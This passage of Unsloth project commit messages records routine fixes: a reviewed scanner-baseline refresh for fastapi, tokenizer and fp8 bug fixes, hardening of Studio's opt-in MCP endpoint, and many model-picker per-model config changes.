at baseline time. The latest fastapi shifts that loop to L587 and its
span digest with it, so the evidence hash no longer matches and the
scanner reports the finding as new, failing the shard with one
unsuppressed CRITICAL.
Re-reviewed the flagged code in the current release before refreshing:
L587 is the same keepalive loop inside the streaming response machinery,
not a beacon. Only the one entry's evidence and evidence_hash change.
Verified with the scanner itself: `scan_packages.py fastapi
--no-baseline` reproduces the exact CI evidence string, and with the
updated baseline the same scan exits 0 with the finding suppressed as
1 CRITICAL baselined.
* fix(studio): add MLX adapter state control
* fix(studio): honor MLX adapter comparison state
* fix(studio): keep enabled MLX adapters permissive
* Studio: preserve public error message on MLX compare-mode adapter failures
generate_with_adapter_control raised a plain RuntimeError, which the compare
route handled with the generic handler that drops the operational message.
Raise GenStreamErrorRaised(public=chunk.public) instead and catch it in the
streaming and non-streaming consumers, matching the safetensors tool loop, so
errors like 'model is being unloaded' surface their real message.
* Studio: re-emit VLM think prefill inside the adapter context
The compare-mode merge dropped _generate_vlm's upfront yield of the prefilled
<think> block. Restore it as the first snapshot inside the lock+adapter context
(matching _generate_text) so the UI renders the thinking block during prefill
and a cancel/error before the first token does not drop it. Adds a regression
test asserting the prefill is emitted first, after entering the adapter context.
---------
Co-authored-by: danielhanchen <unslothshared@gmail.com>
With 5 or more pills active the composer collapses every pill to an
icon, which hid the Bypass permissions label behind a small glyph.
Exempt the permission pill via data-keep-label so it always shows its
label, with the collapsed icons lining up to its right. Since the pill
is never icon-only now, drop the compact-mode fallthrough in the glyph
off switch so it works while the other pills are collapsed.
The Connections form hid the API key field for the Ollama preset, which
blocked Ollama cloud (it requires a key). Show the optional field for
Ollama; the backend already sends Authorization: Bearer when a key is
set and omits the header when empty, so local keyless servers are
unaffected.
Fixes#7163
* fix(dataprep): skip .jsonl lines that are valid JSON but not objects
`_read_file_by_format` json.loads each line and hands the result to
`_extract_text_from_json`, which assumes a dict:
for field in self._TEXT_FIELDS:
if field in data and isinstance(data[field], str):
A JSON line does not have to be an object -- `"context"`, `["text"]` and
`42` are all valid JSON. For those, `field in data` stops being a key
lookup and becomes a substring/membership test, so `data[field]` raises:
"context" -> "text" in "context" is True (substring!)
-> TypeError: string indices must be integers
["text", "foo"] -> TypeError: list indices must be integers
42 -> TypeError: argument of type 'int' is not iterable
The TypeError escapes past `except json.JSONDecodeError: continue`, so the
whole load dies on one odd line.
That except clause is also the tell: a *malformed* line is already skipped
gracefully. A *well-formed* line that happens not to be an object should be
too -- it carries no text either way. This makes the two agree.
Reachable from `unsloth-cli.py:253` (`--dataset foo.jsonl` auto-detect) and
`RawTextDataLoader` is exported from `unsloth/__init__.py`.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* Slim the non-object jsonl regression test and shorten the guard comment
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Stabilize Studio regression tests
Rebuild on current main. Restore the set-membership sidebar account-block matcher
(#6647, which fixed the same order-sensitive regex, was reverted on main, so the
guard is failing on main again) and keep the watchdog replacement-race fix, whose
blocked-watchdog stub now waits without a timeout so a superseded watchdog stays
alive until cleanup regardless of scheduler load.
* Tighten the blocked-watchdog stub comment
---------
Co-authored-by: Daniel Han <unslothshared@gmail.com>
* fix(tokenizer): check for tokenizer.model after saving it, not before
`fix_sentencepiece_tokenizer` creates its temporary directory, then returns
early unless that directory already contains a tokenizer.model:
if not os.path.exists(temporary_location):
os.makedirs(temporary_location) # fresh, empty
if not os.path.isfile(f"{temporary_location}/tokenizer.model"):
return new_tokenizer # always true
old_tokenizer.save_pretrained(temporary_location) # writes that file
The file only appears on the line after the check, so the guard is always
true and the body never runs. Nothing else writes that path either --
`convert_to_fast_tokenizer` saves into a per-name subdirectory, not
`{temporary_location}/tokenizer.model`.
Both call sites are in `get_chat_template` and are commented "Must fix the
sentence piece tokenizer since there's no tokenizer.model file!" -- the
guard defeats the exact intent the caller states. The effect is silent: the
caller still gets a working `new_tokenizer`, but the sentencepiece piece
rename is skipped, so the mapped token (e.g. the eos token remapped to
`<|im_end|>`) is missing from tokenizer.model and GGUF/llama.cpp exports
carry the old piece.
`check_if_sentencepiece_model` in save.py does the same probe in the right
order -- makedirs, save_pretrained, then isfile. Match it.
Tests are added under tests/saving/ next to the existing sentencepiece
coverage, and to the two Bucket-A lists in consolidated-tests-ci.yml, since
Repo tests (CPU) --ignores tests/saving and these need protobuf.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* Clear stale tokenizer.model before the sentencepiece guard
The guard now runs after old_tokenizer.save_pretrained, but the default
temporary_location is a fixed reusable directory. A fast-only tokenizer writes
no tokenizer.model, so a stale file from an earlier sentencepiece call could
pass the guard and patch the wrong model (e.g. mixing models in one process,
like a long-running server). Remove any existing tokenizer.model first, and add
a regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Empty the reusable sentencepiece scratch directory each call
The final AutoTokenizer.from_pretrained reloads the whole temporary_location, so
removing only a stale tokenizer.model still let other artifacts from a previous
tokenizer (added_tokens.json, chat template, etc.) leak into the reload when the
default reusable directory is used across models in one process. Recreate the
directory instead, and add a regression test for the leaked-artifact case.
* Clear only top-level scratch files, keep subdirectories
Recreating the whole reusable directory deleted the {name} subtree that
convert_to_fast_tokenizer stores a converted tokenizer's source vocab in, so
old_tokenizer.save_pretrained could not copy tokenizer.model and the guard
returned the tokenizer unpatched for those legacy converted tokenizers. Remove
only stale top-level files (all the final reload reads) and leave subdirectories
intact. Add a regression test for the converted-source subdirectory.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the current tokenizer's own source vocab when clearing
On a repeated get_chat_template(map_eos_token=True) call, the returned tokenizer's
vocab_file points back at the top-level tokenizer.model, and the cleanup deleted
that source before old_tokenizer.save_pretrained could re-emit it, so the guard
returned the tokenizer unpatched. Skip removing the old tokenizer's own source
vocab while still clearing stale files from a different tokenizer, and add a
regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Use a per-call temporary directory for the sentencepiece fix
The scratch directory defaulted to a single shared path, so concurrent or repeated
get_chat_template(map_eos_token=True) calls could delete or overwrite each other's
tokenizer.model between save and reload (tripping the piece assertion or reloading
the wrong model), and stale files from an earlier tokenizer could leak into the
reload. Work in a unique per-call subdirectory instead: this isolates every call
without deleting anything the caller owns, and replaces the earlier per-file cleanup.
Tests updated to read the patched model from the reloaded directory and to cover
isolation and source-vocab preservation.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pass only the applied token mappings into the sentencepiece fix
get_chat_template mirrors token remaps into tokenizer.model via
fix_sentencepiece_tokenizer, but two caller paths passed a mapping that did not
match what they wrote to the fast tokenizer JSON, so once the sentencepiece patch
runs the model and JSON disagree:
- the mapped-token path skipped entries whose target already existed but still
passed the full mapping, renaming a piece the JSON never changed;
- the EOS-swap path swapped both tokens in the JSON but passed only one direction,
leaving two stop_word pieces and no old EOS piece.
Pass the applied mapping (and both swap directions) instead. Add regression tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten sentencepiece guard comments
* Add SPDX license identifier to sentencepiece guard test
* Reclaim the per-call sentencepiece scratch directory
The per-call tempfile.mkdtemp fixed the shared-directory race but never cleaned
up, so a long-running process leaked one scratch dir per call. The dir cannot be
deleted eagerly for sentencepiece tokenizers because the returned tokenizer's
vocab_file points into it (a later save_pretrained copies the patched
tokenizer.model from there). Reclaim it correctly instead: remove the dir right
away on the fast-only path (the returned tokenizer never references it), and
attach a weakref.finalize so the sentencepiece dir is removed once its tokenizer
is garbage collected. Add regression tests for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the scratch-dir reclaim comment
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* feat(studio): expose opt-in MCP control plane
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden Studio MCP tools: byte-safe auth, page clamping, forward export/checkpoint fields
Follow-up hardening on the opt-in MCP control plane. All changes are additive
and backwards compatible.
- BearerTokenMiddleware now compares the Authorization header on raw bytes.
A non-ASCII bearer value previously reached str-based hmac.compare_digest,
which raises TypeError and surfaced as a 500 instead of a clean 401. The
constructor also rejects an empty or whitespace-only token so an empty token
can never match an empty "Bearer " header.
- MCP tools call the route functions directly, which skips FastAPI Query
validation. list_training_runs and get_recipe_job_dataset now clamp limit and
offset to the same bounds the HTTP routes enforce (a negative SQLite LIMIT
otherwise means "no limit").
- export_gguf forwards hf_token (the backend rejects a Hub upload without it),
accepts a list of quantization methods, and exposes imatrix / imatrix_path so
the IQ low-bit quants are reachable.
- load_checkpoint forwards hf_token and approved_remote_code_fingerprint so
gated checkpoints and the remote-code approval retry work. Its docstring is
corrected: the export backend coexists with training and inference rather than
freeing GPU work.
- start_training passes via_api_key=False explicitly instead of relying on the
unfilled Depends default.
Tests: add coverage for non-ASCII and empty-token auth, the correct-token pass
through, non-http scope pass through, pagination clamping, and the forwarded
export/checkpoint fields.
* Harden Studio MCP: cap /mcp request bodies, reject unusable tokens, fix docs
Follow-up hardening from a full review pass. All changes are additive and
backwards compatible.
- Add "/mcp" to _BODY_PROTECTED_PREFIXES so MaxBodyMiddleware enforces the same
request-body cap it already applies to every other write endpoint (/api/train,
/api/export, /api/data-recipe, ...). The MCP endpoint accepts authenticated
POST tool-call bodies; without this an authenticated client could send an
unbounded body. The middleware only buffers the request body (not the SSE
response), so streaming is unaffected, and the 500MB default cap never affects
a real JSON-RPC tool call (verified live).
- Reject a non-ASCII UNSLOTH_STUDIO_MCP_TOKEN at construction. HTTP header values
are ASCII, so a non-ASCII token cannot be sent by a standard client and would
silently lock out the endpoint; fail fast instead.
- MCP.md: document the canonical /mcp/ endpoint and note that /mcp redirects to
it, so clients that do not follow redirected POSTs still connect.
Tests: add non-ASCII token rejection coverage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten MCP server comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Propagate fp8 block_size before the early return in get_lora_parameters_bias
get_lora_parameters_bias set the fp8 block_size on W/W_quant only after the
disable_adapters/merged early return, so on the merged or disabled path (merged
inference, DPO reference model) a block-fp8 weight lost its real block_size and
downstream fp8 kernels fell back to [128, 128]. The non-bias sibling
get_lora_parameters already sets block_size before its early return; move the
block so both behave the same.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard the fp8 block_size against a missing quant state
A decompressed compressed-tensors layer keeps quant_method == "fp8" while its
weight is back to bf16, so it has no quant state and get_lora_parameters_bias
must still return W_quant None for fast_linear_forward to fall back to a plain
matmul. Only attach block_size when a quant state was actually found.
* Guard the sibling get_lora_parameters fp8 block_size against a missing quant state
Mirror the get_lora_parameters_bias guard so a decompressed compressed-tensors
layer (quant_method fp8, bf16 weight, no quant state) does not raise
AttributeError on the fused-LoRA path. Add a CPU-only regression test.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: don't apply nest_asyncio on plain CLI starts (breaks asyncio on Python 3.14+)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Skip nest_asyncio on Python 3.14+ so notebook and embedded Studio starts also work
* Tighten the nest_asyncio gate comment
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* fix(studio): recover stalled Hub downloads over HTTP
* fix(studio): preserve retry generation and progress baseline
* fix(studio): keep XET retry handoff nonterminal
* fix(studio): preserve retry cancellation on claim failure
* fix(studio): make retry failure cancellation atomic
* fix(studio): close skipped retry state gaps
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Stabilize chat-only export gate detection on Windows
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Retrigger CI on a user-authored head
* fix(studio): serialize XET HTTP retry handoff
* List XET to HTTP retries that are briefly released from the repo guard as active downloads for PR #6858
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Settle no-process active downloads on shutdown so a parked XET retry cannot spawn after cleanup for PR #6858
* Settle exited-error and no-process downloads on shutdown and persist their cancel markers for PR #6858
* Keep terminal HTTP failures uncancelled and block companion deletion for released retry peers for PR #6858
* Trim download lifecycle test coverage
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
* refactor(studio): move chat model picker into features/model-picker
Relocate model-selector + its support files from components/assistant-ui
into a self-contained features/model-picker feature (own barrel), mirroring
the modular Hub layout. Pure move + import repoint; no behaviour change.
* feat(model-picker): add per-model config persistence layer
Superset PerModelConfig (customContextLength, kvCacheDtype, speculativeType,
specDraftNMax, tensorParallel, chatTemplateOverride, trustRemoteCode) persisted
to localStorage (unsloth_model_configs) with schema versioning + LRU budget.
KV-dtype and speculative value sets match main's sidebar (no q4_0/ngram-simple).
Reuses features/hub/lib/model-identity for normalization; adds storage-key layer
and applyPerModelConfigToRuntime (sets tensorParallel, which the old PR omitted).
* feat(picker): modular backend for chat-template validate + default fetch
New studio/backend/picker package (schemas/service/routes) mounted at /api/picker:
- POST /api/picker/validate-chat-template (Jinja syntax validation, no false positives)
- GET /api/picker/chat-template/{model_name} (default template from tokenizer_config.json,
reusing get_cache_path/resolve_cached_repo_id_case; graceful null, no model-code exec)
Frontend api/templates.ts client + hooks/use-model-defaults lazy cache. No backend
changes to the existing inference load route (per-model load fields already supported).
* feat(model-picker): bind picker on-device list to shared hub inventory
Picker now sources cached + local models from useHubInventory (the Hub's shared
store) via a thin adapter, replacing its own /api/models/* fetchers + module
caches. Hub, download manager, and picker now share one source of truth, so
completed downloads reflect in the picker automatically. Partial/live-download
rows are filtered from the cached lists (unchanged rendering). Local naming/search
preserved via additive LocalInventoryRow modelId/displayName. Variant expander,
scan-folder management, recommended-fit, search, external providers untouched.
Known minor: cached 'Downloaded date' sort tiebreak degrades to alphabetical
(hub cached rows carry no mtime); default 'recent' (load-time) sort preserved.
* feat(model-picker): per-model config step inside the picker
Picking a (non-external) model now opens an in-picker config view built from
main's current load controls (context length, KV cache dtype, speculative
decoding, draft tokens, tensor parallel) plus a chat-template editor backed by
the picker validate/default endpoints. 'Remember for this model' persists the
config per model+variant; Run forwards the config to the existing load flow via
meta.config. External models bypass the step. Two-view orchestration lives in
model-selector (single interception point); pickers.tsx call sites untouched.
trustRemoteCode dropped from PerModelConfig to preserve main's per-load consent.
* feat(chat): apply/persist per-model config through the load flow
handleCheckpointChange threads meta.config into the selection; stageOrLoad and
the autoload/Hub-run paths now apply the picker config (explicit pick or saved
remembered config) via applyPerModelConfigToRuntime before staging/loading, with
keepSpeculative set so a remembered speculative mode survives the model switch.
Replaces the old remembered-load-settings seeding (resolveInitialConfig now the
single source). SelectedModelInput carries config.
* refactor(chat): remove per-model load config from the right sidebar
The load knobs (context, KV cache, speculative, draft tokens, tensor parallel)
and the chat-template editor now live only in the picker config step. The sheet's
Model section keeps the staged Load/Cancel flow (config is applied at pick time);
sampling params, system prompt, and RAG are unchanged. Deletes the superseded
remembered-load-settings module + the store's applyRememberedLoadSettings action,
removes the now-dead sheet state/imports, and points the settings reset at
unsloth_model_configs. Delete-cleanup deferred (stale config is LRU-capped).
* fix(model-picker): remove leftover sidebar-staging cogwheel + empty Model section
The downloaded-variant gear (ModelLoadSettingsAction) staged a model straight
into the right-sidebar Run-settings flow -- the old 'configure before load' path
now fully replaced by the in-picker config step. Removed the gear + its component.
Also gate the sheet's 'Model' section to staged picks only (pendingSelection):
after the load-knob strip its content is staged-only, so it was rendering an
empty section header whenever a model was merely loaded.
* chore(chat): remove dead per-model-config setters + modelControlsDisabled
After the load-config UI moved into the picker, the store's per-model setters
(setKvCacheDtype/setSpeculativeType/setSpecDraftNMax/setTensorParallel/
setCustomContextLength/setChatTemplateOverride) had zero callers
(applyPerModelConfigToRuntime writes via setState), and the sheet's
modelControlsDisabled was unreferenced. Verified dead across the whole tree.
* fix(chat): config-step Load actually loads (ignore Load-on-selection)
Root cause: with Settings > Chat > 'Load on selection' turned OFF, the config
step's load went down the deferred-staging path -- opening the right sidebar with
'<model> is staged, not loaded yet / Choose Load model'. The in-picker config step
IS the deliberate load action, so its Load now loads immediately (or downloads +
auto-loads when not cached) regardless of the toggle. Renamed the button
'Run model' -> 'Load model' to match. Native/dropped picks still honor the toggle.
* refactor(chat,hub): retire 'Load on selection' — config step is the only load flow
The in-picker config step (and the Hub Run button) now fully supersede the old
stage-to-sidebar flow, so the Load-on-selection toggle is removed everywhere:
- chat stageOrLoad: every pick loads immediately, or downloads + auto-loads when
not cached (the previous default behaviour, now universal).
- hub Run: drops the stage branch; downloaded GGUFs load directly with their saved
per-model config (no collision with the chat config step — both end at selectModel).
- store: removed loadOnSelection field/setter/key/default; Settings>Chat toggle and
its settings-reset entry removed.
- staged sidebar section is now a download-progress view (auto-loads on completion).
No manual staging remains; stageModel is used only for background auto-load downloads.
* feat(model-picker): default chat template from GGUF + thread variant through config flow
Read the embedded tokenizer.chat_template from GGUF files (read_gguf_chat_template
in gguf_metadata) and use it as the per-model default. Plumb gguf_variant through
the picker service, /api/picker/chat-template route, frontend templates API, and
use-model-defaults so the right variant's template is fetched.
Also refine the picker config-page/model-selector wiring, drop the dead
ggufNativeContextLength runtime path, and add the per-model-config storage keys to
the settings prefs export.
* feat(model-picker): read safetensors chat template + hide editor where it has no effect
Resolve the default chat template for safetensors models: prefer the modern
chat_template.jinja, fall back to the tokenizer_config.json chat_template field,
then chat_template.json (multimodal processor), then the GGUF embedded template.
Applied to local dirs, the HF cache snapshot scan, and the HF remote fetch.
Hide the chat-template editor in the picker for safetensors models — the override
is only applied at load by the GGUF/llama.cpp backend, so editing it on safetensors
currently has no effect. GGUF keeps the editor. Nothing removed; the dialog stays
for when the safetensors apply path is wired up in a later branch.
* fix(model-picker): set legacy-migration flag only after the write succeeds
Set unsloth_model_configs_migrated only once writeMap confirms the migrated
map persisted, so a quota/storage failure no longer marks migration done and
silently drops the user's pre-existing remembered settings — the next load retries.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* MVP model picker fixes
* MVP picker config fix
* MVP safetensors config
* MVP max seq config
* MVP max seq fix
* Fix static max tokens cap ignoring model context
* Fix picker GGUF scan parity
* fix(studio): harden model picker config loading
Apply remembered per-model configs consistently from picker and Hub loads, keep default configs from overriding standing speculative settings, add config access for direct local GGUF files, and support saving or forgetting active model settings without a reload.
* Fix model picker config flow
* Fix model picker config loads
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Avoid recursive per-model config migration reads
* Apply the displayed context length when loading a GGUF
* Fix template validation, cached template lookup, and failed load rollback
- Validate chat templates with the loopcontrols extension so templates
that use break or continue tags pass the picker validator, matching the
inference renderer that already accepts them.
- Read the default chat template from the newest cache snapshot rather than
an arbitrary iterdir order, so an older cached revision no longer prefills
a stale template.
- Capture the runtime per-model config before a load and reapply it when the
load fails, so a failed switch leaves the active model context, KV cache,
template, and speculative settings as they were.
* Make chat template view only for safetensors models
Custom chat template overrides are applied at inference only for GGUF
models, which pass the template to llama-server. The safetensors backend
renders with the model built-in template and ignores the override, so
editing it would save a value that never loads. For safetensors the
config page now opens the template as a read-only preview with a note
that editing is not available yet. This can become editable once
inference support for custom safetensors templates lands in main.
* Fix model picker config edge cases
- Restore prior runtime config when a load no-ops for the active model
- Cap the picker validator request body via the protected prefixes
- Keep the GGUF context slider max above the loaded context
- Fetch subfolder chat templates for uncached Hub repos
- Show the compare side config when reopening the picker
* Keep saved GGUF context above the fallback ceiling
* Show the model config in the run settings sidebar
* Fix model config sidebar reset and context slider
- Stack the remember toggle and action buttons in the sidebar
- Reset the config to defaults instead of the loaded values
- Fetch the native context so the slider max is not the loaded value
* Fix model picker config and download regressions
- Run picker chat template routes off the event loop
- Depth and root guard local template directory scans
- Restore download manager flow for uncached hub picks
- Apply per model context length on reload
- Import model picker symbols from the feature barrel
* Fix model picker config and cached download sorting
- Restore load settings when a Hub run is rejected mid load
- Reuse one NumericValueInput instead of a duplicate copy
- Fix double decode of the model name in the template route
- Remove the unused reset-to-loaded settings action
- Fix cached model download sorting
* Fix model picker per-model config edge cases
Honor a saved or typed max seq length above the model's native context so
RoPE extended values are no longer clamped and silently overwritten. Allow
typing past native while the slider keeps native as a soft ceiling.
Guard the fetch success paths in use-model-defaults against an aborted
signal, and refetch when the HF token changes.
Hash the chat template content in the sidebar remount key instead of its
length. Enable reset for a GGUF whose native context is unknown, and floor
the context slider max so it can never fall below the min.
* Fix GGUF context auto-fit and gated model config token
Stop forcing a 32768 context when a GGUF native context is unknown so the backend auto-fits to VRAM again, while still honoring an explicit context edit.
Send the HF token as a query param so gated safetensors models resolve their max position embeddings.
Derive model default state during render to drop the set-state-in-effect calls.
* Fix native GGUF context ceiling and guard picker template reads
Restore the native context store field so the sidebar slider keeps the
full ceiling for drag and drop GGUFs. Limit local chat template reads to
the browse allowlist, skip malformed repo ids, and drop unused model
picker exports.
* Fix model picker lint boundaries
* Fix model picker review findings
Chat template editor never seeded its draft. Radix only calls onOpenChange
from internal events, so the seed in the nextOpen branch was dead and a model
with a saved override opened empty. Saving then cleared the override. Drop the
dead branch, treat draft as an untouched sentinel, and reset it on every close.
Uncached Hub picks could auto load a model after the user left the chat. Main
detached the staged pick on route exit and on chat context change. Carry the
context key on the pending pick and skip the load when it no longer matches.
Also clear configTarget when the picker closes, restore the onUpdated ref so
variant rows stop resubscribing on every parent render, skip the LRU write when
the entry is already most recent, import NumericValueInput relatively, and drop
the unused ModelUpdateAction barrel export.
* Preserve GGUF context on active reload
* Fix model picker per-model config regressions
- Stop reloading the already loaded model on re-pick
- Hide infra models from the chat picker
- Detect vision support on cached GGUF repos
- Honor saved maxSeqLength on auto load
- Restore default chat template for local GGUFs
- Warn on save failure and revert config on cancel
- Refetch picker inventory on open
- Persist read only per model config safely
* Fix stale model auto load
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix model picker numeric input sizing and constraints
Size value inputs to their content so long context lengths are not clipped,
restrict them to numeric characters, and stop the speculative decoding label
from truncating in the sidebar.
* Fix picker CI tests and harden chat template resolution for PR #6647
- tests: point the descender guard at the moved model-selector.tsx path
- tests: exclude the disabled Reload model button from the regenerate locator so .first targets the real Regenerate
- picker/service.py: reject symlinked template/gguf leaves that resolve outside the browse allowlist (HF cache reads unchanged)
- compare mode: resolve each pane's own remembered chat template instead of inheriting the other pane's from the store
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Protect future-schema per-model configs from deletion for PR #6647
savePerModelConfig already refuses to overwrite a stored config whose schema version is newer than this client understands, but deletePerModelConfig did not. Unchecking Remember on an older client therefore silently destroyed a newer client's saved config. Apply the same guard on delete and surface the blocked case through the existing saveFailed toast.
* Protect future-schema per-model configs from quota eviction for PR #6647
The save and delete guards already refuse to touch a stored config whose schema version is newer than this client understands, but the quota-eviction path did not, so a full store on an older client could still evict a newer client's config. Skip future-schema entries when evicting and fail the save if the budget cannot be met without them.
* Fix GGUF context persistence, compare context, and rollback settings for PR #6647
Persist a GGUF context override from the user's intent instead of collapsing it against the loaded context, which reintroduced the context-reset (f4838782cb reverted the native-baseline fix). model-config-page now collapses the saved value against native, and use-chat-model-runtime and chat-adapter retain the requested context on load so re-saving another setting keeps the override; a null request stays null so a VRAM auto-fit never becomes a stored override.
shared-composer: a compare pane with no explicit GGUF context now loads at native (0) like single-view, not the session maxSeqLength that silently shrank the shown context.
use-chat-model-runtime: restore the previous model's KV cache dtype and chat template on a failed-load rollback so it runs as it was, not with backend defaults.
* Preserve native path token when reloading the active model for PR #6647
handleReloadActiveModel rebuilt the selection without the store's activeNativePathToken, so reloading a file-picked GGUF after a settings change validated the display label as a repo/path and failed. Thread the active native token through the reload selection so native-loaded models reopen correctly.
* Make picker template validation resilient and accept HF generation tags for PR #6647
Import Jinja lazily inside validate_chat_template so a backend without the optional jinja2 package (GGUF-only installs) still starts instead of raising ModuleNotFoundError at import time. Register a no-op extension for the Transformers {% generation %} assistant-mask tag so pasting a valid HF chat template validates, matching the renderer, rather than being rejected as an unknown tag.
* Honor remembered compare config and parse processor chat_template.json for PR #6647
* Fix failed-load rollback context and processor template map fallback for PR #6647
* Restore speculative decoding config on failed-switch rollback
When a model switch fails after the previous model was unloaded, the
rollback reload restored tensor_parallel, KV cache dtype and the chat
template override, but omitted speculative_type and spec_draft_n_max and
cleared their loaded shadows to null. The previous model therefore came
back running at backend defaults (speculation off) while the UI still
showed it enabled, and the status resync confirmed the off state. Resend
the previous model's speculative settings in the rollback load and keep
the store's active and loaded speculative fields in sync with them.
* Reset max sequence length when a model has no saved config
applyPerModelConfigToRuntime reset every per-model field except
maxSeqLength, which it only wrote when the incoming config had one.
maxSeqLength is the sole field carried on store.params, so selecting a
model with no remembered config left the previous model's value in place
and later loaded the new model at that leaked length. Fall back to the
standing default so an unremembered model loads at its own default.
* Surface a message when a variant update cannot start
startManagedUpdate handled the conflict and error start outcomes but let
busy fall through as if the update began, so the confirm dialog closed
with no job created and the cached variant stayed stale. Show an info
message when the repo is busy with a sibling transfer so the click is
not silently dropped.
* Keep per-model speculative choices out of the global default
A staged load with a per-model or one-off config sets keepSpeculative,
which already skips reading the global speculative preference. The
matching save still ran unconditionally, so the model-specific choice was
written to the global unsloth_chat_speculative_type and a later model with
no saved config started from it instead of Auto. Skip saveSpeculativeType
when keepSpeculative so the per-model choice stays isolated.
* Seed non-active model settings from the app default max length
The Run settings page captured initialMaxSeqLength from the loaded
model's runtime params and fell back to it for a model with no saved
config. Opening settings for a different, unloaded model and clicking
Load then sent the active model's context (for example 64k) instead of
the 4096 default, risking validation failures or OOMs. Seed the default
for non-active models and keep the runtime value only for the active one.
* Prefer sidecar tokenizer chat template over the GGUF copy for variants
_chat_template_from_dir returned the embedded GGUF template first when a
variant was selected, reversing the tokenizer-first precedence of the
no-variant path. A model whose chat_template.jinja or tokenizer_config.json
supersedes a stale embedded template then got the wrong template on
variant selection. Keep tokenizer files first regardless of variant; the
variant only picks which GGUF is the fallback. Adds regression tests for
both the tokenizer-wins and gguf-fallback cases.
* Keep per-model speculative choices load-local in autoload and compare
The interactive load path treats a per-model speculative choice as
load-local and skips writing it to the global default. Autoload and
generalized compare still called saveSpeculativeType unconditionally, so a
remembered off or ngram setting leaked into unsloth_chat_speculative_type
and later models with no saved config inherited it. Persist the global
preference only when the value came from the global settings.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: record the compare pane's loaded context in runtime state so the active model's settings and any reload or save use it, not the previous context
* Studio: notify the user when a Hub autoload can't start because another download for the model is already running, instead of silently dropping it
* Studio: drop the merge's orphaned staged-model store helpers and unused alert imports
The main merge left isPendingGguf and pendingSelectionMatches referencing the
removed PendingModelSelection type, and the alert-dialog/alert imports unused
after the permission-mode dropdown replaced the bypass dialog, so tsc -b failed.
* Studio: cache a null default chat template so the viewer stops re-fetching it
A model with no sidecar or embedded template resolves to a terminal null, but
that result was never cached, so reopening the template viewer re-ran the
backend and Hugging Face lookup every time.
* Studio: detect direct-file GGUFs in run settings so Max Tokens uses their context
A GGUF loaded from a local file or custom folder has no variant label, so the
run-settings panel treated it as non-GGUF and clamped Max Tokens to the session
max_seq_length instead of the loaded GGUF context. Detect it via the reported
GGUF context and the .gguf checkpoint suffix, matching the chat page.
* Studio: prompt to re-select a local model file when its lease expired before reload
A file-picked GGUF is reachable only through a native path token that the
desktop host prunes after a TTL. Reloading reused that token blindly, so a
reload long after the initial load failed with an opaque error. Track the
token's expiry and, when it has passed, ask the user to re-select the file
instead of attempting a doomed reload.
* Fix descender-clipping test to tolerate sidebar layout utilities
The sidebar account-block div carries layout utilities (min-w-0, flex-1)
between 'flex' and 'flex-col', so the descender-clipping guard's regex,
which required 'flex' immediately followed by 'flex-col', no longer matched
and the test failed to locate the account-block div. Generalize the prefix
to allow intervening flex utilities while still capturing the leading-*
class before the collapsible visibility utility and asserting leading-tight,
so the guard against clipped glyph descenders is fully preserved.
* Harden picker chat-template resolution
Enforce the 64 KiB chat-template contract at the validate endpoint's request
model so a direct caller cannot submit a template far larger than the frontend
allows (MaxBodyMiddleware only bounds the whole request body, not this field);
oversized templates now return a clean 422.
Apply sidecar-over-GGUF template precedence globally across cached snapshots
instead of per snapshot. A repo with multiple cached revisions previously
returned the first snapshot's template, so a newer GGUF-only revision could
win over an older revision's maintained chat_template.jinja sidecar, which
contradicted the documented intent that sidecars supersede the embedded copy.
* Guard per-model config against future-schema and lossy migration
Two forward-compatibility gaps in the versioned per-model config store:
- The load/apply path returned and normalized a stored record without checking
its schema version, so a record written by a newer client was reinterpreted
under the current schema and applied to a live model load, even though save,
